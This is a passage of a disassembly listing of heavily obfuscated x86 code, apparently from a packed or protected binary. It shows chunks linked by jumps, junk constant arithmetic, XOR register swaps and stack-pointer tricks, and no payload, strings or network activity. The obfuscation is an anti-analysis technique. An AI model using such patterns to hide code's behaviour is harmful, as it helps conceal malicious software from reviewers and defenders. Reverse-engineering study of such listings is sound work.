; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AD7B


loc_59D495:				; CODE XREF: sub_59AD7B+9j
		add	edi, 0FFFFFFFFh
		or	edi, 74020438h
		inc	edi
		or	edi, 38F171A5h
		sub	edi, 2F7253C3h
		add	edi, 0AF7ADE22h
		add	ebp, edi
		pop	edi
		jmp	loc_5ADBD8
; END OF FUNCTION CHUNK	FOR sub_59AD7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D4B9:				; CODE XREF: sub_5AA2D1-C417j
		jbe	loc_5A5E15
		jmp	loc_5AD366
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	1487h
		mov	[esp], eax
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D4CD:				; CODE XREF: sub_5992DA+4218j
		shr	ecx, 2
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		jmp	loc_5A7C6C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06DD


loc_59D4E4:				; CODE XREF: sub_5A06DD+2j
		pop	ebx
		jmp	loc_5A549E
; END OF FUNCTION CHUNK	FOR sub_5A06DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_59D4EA:				; CODE XREF: sub_5A26E8-46D2j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D4EF:				; CODE XREF: sub_5992DA+ECBAj
		and	ecx, eax
		pop	eax
		jmp	loc_59D4CD
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59D4F7:				; CODE XREF: sub_59CBE1+130FAj
		push	esi
		jmp	loc_5AC54C
; END OF FUNCTION CHUNK	FOR sub_59CBE1

; =============== S U B	R O U T	I N E =======================================



sub_59D4FD	proc near		; CODE XREF: sub_59BA35+39j
					; DATA XREF: sdfs____:00598FF8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059B8C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C56C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0723 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0E4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2A52 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A494A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A98D6 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005AB238 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AB746 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ABB5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADA2F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE342 SIZE 00000008 BYTES

		mov	cx, [esp+0]
		push	esi
		push	esp
		jmp	loc_5AB238
sub_59D4FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59D508:				; CODE XREF: sub_5AD795-12290j
		sub	ebx, 4
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], ebx
		jmp	loc_5A2D90
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3947


loc_59D51F:				; CODE XREF: sub_5A3947+7BDj
		sub	eax, 25D70088h
		or	[edi+1Ch], eax
		jmp	loc_5AB724
; END OF FUNCTION CHUNK	FOR sub_5A3947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59D52C:				; CODE XREF: sub_5A477C-62D2j
		add	esp, 4
		jmp	loc_5A7A3C
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59D534:				; CODE XREF: sub_59C979+1329j
		add	ebp, ecx
		add	ebp, 371D313Ah
		pop	ecx
		xchg	ebp, [esp-12h+arg_E]
		mov	esp, [esp-12h+arg_E]
		jmp	loc_5AB4A1
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D548:				; CODE XREF: sub_5992DA+1F16j
		push	ax
		jmp	sub_5A0FFF
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D54F:				; CODE XREF: sub_5AA2D1-987Cj
		push	1C8018A6h
		jmp	loc_59C385
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59D559:				; CODE XREF: sub_5AA810-7717j
		push	ecx
		mov	ecx, 7FC52038h
		dec	ecx
		jl	loc_5A9F0D
		jmp	loc_5A92C0
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59D56B:				; CODE XREF: sub_5A477C+3031j
		mov	edi, 10C05841h
		add	eax, edi
		jmp	loc_5A2656
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D577:				; CODE XREF: sub_59D6B8+91E8j
		jmp	loc_59A1A3
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D57C:				; CODE XREF: sub_5AA2D1+55E0j
		xor	ebp, edi
		pop	edi
		sub	ebp, 6A4CCDCh
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		jmp	loc_59E3C8
; ---------------------------------------------------------------------------


loc_59D599:				; CODE XREF: sub_5AA2D1-1EF4j
		add	al, bh
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_5A562C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59D5A6:				; CODE XREF: sub_5AF2D9-D95Bj
		mov	dh, 9
		and	cl, dh
		jmp	loc_5A70EA
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_59D5AF:				; CODE XREF: sub_5A7746-5362j
		xchg	edx, [esp-4+arg_0]
		jmp	loc_59D83C
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59D5B7:				; CODE XREF: sub_5A3992-4ADBj
		push	[esp+8+var_8]
		jmp	loc_5AA6B0
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E92


loc_59D5BF:				; CODE XREF: sub_5A8E92+Fj
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		jmp	loc_59DB3E
; END OF FUNCTION CHUNK	FOR sub_5A8E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D5CB:				; CODE XREF: sub_5AA2D1-A43Ej
					; sub_5AFE9D-FD22j
		push	edi
		mov	edi, 4177C40h
		jmp	loc_5A6B58
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D5D6:				; CODE XREF: sub_59D6B8+D01Fj
		add	ebx, 4AC167Eh
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	sub_5AD795
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_59D5EA	proc near		; CODE XREF: sub_5A86D0-BA76j
					; sub_5AA2D1-5362j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A6C09 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A7D56 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AD476 SIZE 00000029 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	75644385h
		pop	esi
		not	esi
		xor	esi, 135B7C24h
		not	esi
		dec	esi
		add	esi, 0B9391357h
		push	esi
		mov	ecx, [esp+8+var_8]
		push	ebx
		jmp	loc_5A6C09
sub_59D5EA	endp

; ---------------------------------------------------------------------------


loc_59D611:				; CODE XREF: sdfs____:005A4668j
		add	edx, ebp
		sub	edx, 64B2836h
		jmp	loc_59E105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D61E:				; CODE XREF: sub_5AA2D1-4DB6j
		pop	ebp
		push	720Eh
		mov	[esp+2+var_4+2], edx
		mov	edx, 8470FBh
		or	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_5AA775
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59D635:				; CODE XREF: sub_59A9E9+13EAj
					; sub_59BA35+13CB8j
		sub	[edi+24h], ecx
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D639:				; CODE XREF: sub_5AA2D1-58F7j
		push	52A7h
		jmp	loc_59C5CF
; ---------------------------------------------------------------------------


loc_59D643:				; CODE XREF: sub_5AA2D1+1063j
		sub	ch, bh
		pop	bx
		jmp	loc_5AC9BD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59D64C:				; CODE XREF: sub_5A7BA0-66B8j
		push	[esp-4+arg_0]
		pop	edx
		sub	esp, 4
		mov	[esp+0], ebx
		sub	esp, 4
		jmp	loc_5ACED3
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------


loc_59D65E:				; CODE XREF: sdfs____:005A7CB8j
		mov	bh, 21h
		sub	dh, 0F3h
		sub	dh, bh
		jmp	loc_5AA9AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D66A:				; CODE XREF: sub_5992DA+97B5j
		neg	edx
		add	edx, offset word_62549E
		jmp	loc_59FBE1
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_59D677:				; CODE XREF: sub_59BA35-90Aj
		pop	ecx
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		shl	esi, 5
		push	eax
		jmp	sub_5AD243
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D687:				; CODE XREF: sub_5992DA+2C95j
		mov	esi, 7FA3A79h
		push	ebx
		jmp	loc_5B01BA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF6AC


loc_59D692:				; CODE XREF: sub_5AF6AC-850Ej
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		not	ebx
		sub	ebx, 78071E58h
		mov	edi, ebx
		pop	ebx
		shl	edi, 1
		push	ebx
		jmp	loc_5A5B9B
; END OF FUNCTION CHUNK	FOR sub_5AF6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB73


loc_59D6AB:				; CODE XREF: sub_59BB73+Bj
		add	edx, 4
		push	ebx
		push	edx
		jmp	loc_5AF31C
; END OF FUNCTION CHUNK	FOR sub_59BB73

; =============== S U B	R O U T	I N E =======================================



sub_59D6B8	proc near		; CODE XREF: sub_5AD795-11F5Aj

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0059983A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005998E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599B8E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599C00 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599DEB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00599F5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A1A3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059A4BB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A5A7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059A9DC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AA0C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059ADF1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059AE4E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059AF88 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059B06D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059B146 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B216 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B5F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059B91B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B9A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BB9D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C1CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C4E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C932 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059CA02 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059CE50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CE7C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CEEA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059D022 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D577 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D5D6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D6D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D707 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D995 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059DC72 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E443 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E77C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E9A6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059EAA4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EE07 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F226 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F3F1 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0059FE3C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0272 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A06B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A0785 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A0ADE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A0C48 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A0E5B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A15AA SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A1845 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1F73 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A22E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A25AC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2858 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A290D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A29AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2CB7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A3038 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A38BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3A3E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3AD9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3D28 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3EC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3FEE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A4229 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A476B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A480B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A48E1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A4D15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A51B5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A51D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5219 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A542A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5576 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5944 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5C02 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5CAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5DC3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A624B SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A6441 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A6473 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6489 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A64A7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A64F2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6691 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6745 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A67EE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A6898 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6937 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A69D7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6A24 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6D03 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A6D68 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6DFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A6F25 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A6F69 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A6FD2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A700D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7260 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A7402 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A754E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7961 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7CC4 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A7E28 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A811D SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A882F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8A64 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A8ACE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A8D14 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005A8EA6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A92D8 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A93C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9415 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A94F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9F00 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA3EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA4B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA6D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA82F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA870 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005AA90F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAAF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AABCE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AAC2A SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AB1F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB21F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AB3A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB40A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AB5E5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ABB40 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ABFC0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC036 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC250 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC67F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ACF66 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD2D3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AD535 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD596 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AD674 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ADA16 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005ADCB0 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005ADDAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADEE6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE1B6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE317 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AE665 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AE6DB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AE843 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AE9D3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AEF0C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AF166 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AF1C6 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 005AF369 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AF547 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AF7DA SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AFE51 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005B008F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005B0421 SIZE 00000015 BYTES

		push	ebp
		push	[esp+arg_0]
		pop	ebp
		jmp	loc_5A5219
sub_59D6B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59D6C3	proc near		; CODE XREF: sub_5AA2D1-CFF8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AC9DE SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_5AC9DE
sub_59D6C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D6D1:				; CODE XREF: sub_59D6B8+FE89j
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5A48E1
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_59D6DA:				; CODE XREF: sub_59A4E8+A261j
		pop	ebp
		dec	esi
		neg	esi
		push	esi
		not	[esp+10h+var_10]
		jmp	loc_5AA0CD
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59D6E7:				; CODE XREF: sub_59C979+8252j
		add	al, 0D5h
		pop	edx
		sub	al, 7Dh
		sub	al, dh
		add	al, 7Dh
		add	al, 0A9h
		jmp	loc_5AB511
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D6F7:				; CODE XREF: sub_5AA2D1-BECCj
		mov	bl, dl
		pop	edx
		xor	bl, 9
		push	edx
		mov	dl, 0EAh
		inc	dl
		jmp	loc_59FD01
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D707:				; CODE XREF: sub_5A7BA0-72DDj
					; sub_59D6B8+BD79j
		push	500Eh
		mov	[esp-4+arg_0], edi
		mov	edi, ebx
		jmp	loc_5A7402
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59D716:				; CODE XREF: sub_5A5EFF-8292j
		mov	[esp+4+var_4], edx
		push	7F331E6Eh
		pop	edx
		push	esi
		mov	esi, 2ADB1C6Bh
		and	edx, esi
		pop	esi
		sub	edx, 56330C93h
		jl	loc_5A688E
		neg	edx
		sub	esp, 4
		jmp	sub_59EE3E
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59D73E:				; CODE XREF: sub_59CBE1+200Fj
		add	esp, 4
		jmp	loc_5A0024
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D746:				; CODE XREF: sub_5AA2D1-C96Fj
		sub	bl, 2Bh
		add	bl, al
		push	382Ch
		mov	[esp+8+var_8], eax
		mov	ah, 74h
		dec	ah
		shl	ah, 1
		xor	ah, 0CDh
		inc	ah
		xchg	bl, ah
		not	bl
		xchg	bl, ah
		xor	ah, 0F8h
		add	bl, ah
		jmp	loc_5AEC87
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A986


loc_59D76E:				; CODE XREF: sub_59A986+1766j
		push	ecx
		mov	ecx, 6EA95900h
		xor	edi, ecx
		pop	ecx
		sub	edi, 16253D97h
		xor	ebx, edi
		pop	edi
		jmp	sub_59D9AA
; END OF FUNCTION CHUNK	FOR sub_59A986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_59D785:				; CODE XREF: sub_5A4DFC+3j
		xor	ah, [esp+0]
		jmp	loc_599B14
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D78D:				; CODE XREF: sub_5992DA+C3C3j
		shl	edx, 1
		push	ecx
		push	esi
		mov	esi, 589E0604h
		jmp	sub_5A71F0
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_59D79B:				; CODE XREF: sub_599884+9j
		mov	edi, 1EDA1F1Fh
		push	ebp
		mov	ebp, 387F6943h
		jmp	loc_5AE912
; END OF FUNCTION CHUNK	FOR sub_599884

; =============== S U B	R O U T	I N E =======================================



sub_59D7AB	proc near		; DATA XREF: sdfs____:00598E50o
		push	dword ptr [edx]
		jmp	loc_59910F
sub_59D7AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D7B2:				; CODE XREF: sub_5AA2D1-102F7j
		mov	[esp-8+arg_4], ebp
		push	ebx
		push	1FA66C2Fh
		pop	ebx
		and	ebx, 2A92496Eh
		sub	ebx, 0CAF40709h
		mov	ebp, ebx
		jmp	loc_5AA288
; ---------------------------------------------------------------------------


loc_59D7CF:				; CODE XREF: sub_5AA2D1-B518j
		mov	[esp-4+arg_0], ecx
		push	ebx
		push	ecx
		mov	cl, 0F1h
		mov	bh, 89h
		xor	bh, cl
		pop	ecx
		mov	ch, 0C5h
		sub	ch, bh
		pop	ebx
		push	bx
		mov	bh, 0FAh
		and	ch, bh
		pop	bx
		shr	ch, 5
		jmp	loc_5A7D33
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59D7F0:				; CODE XREF: sub_5A0FFF+59CAj
		mov	[esp+0], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4E072D68h
		add	ebp, 27FA47DEh
		sub	ebp, 32A2F33h
		jmp	loc_5A816D
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
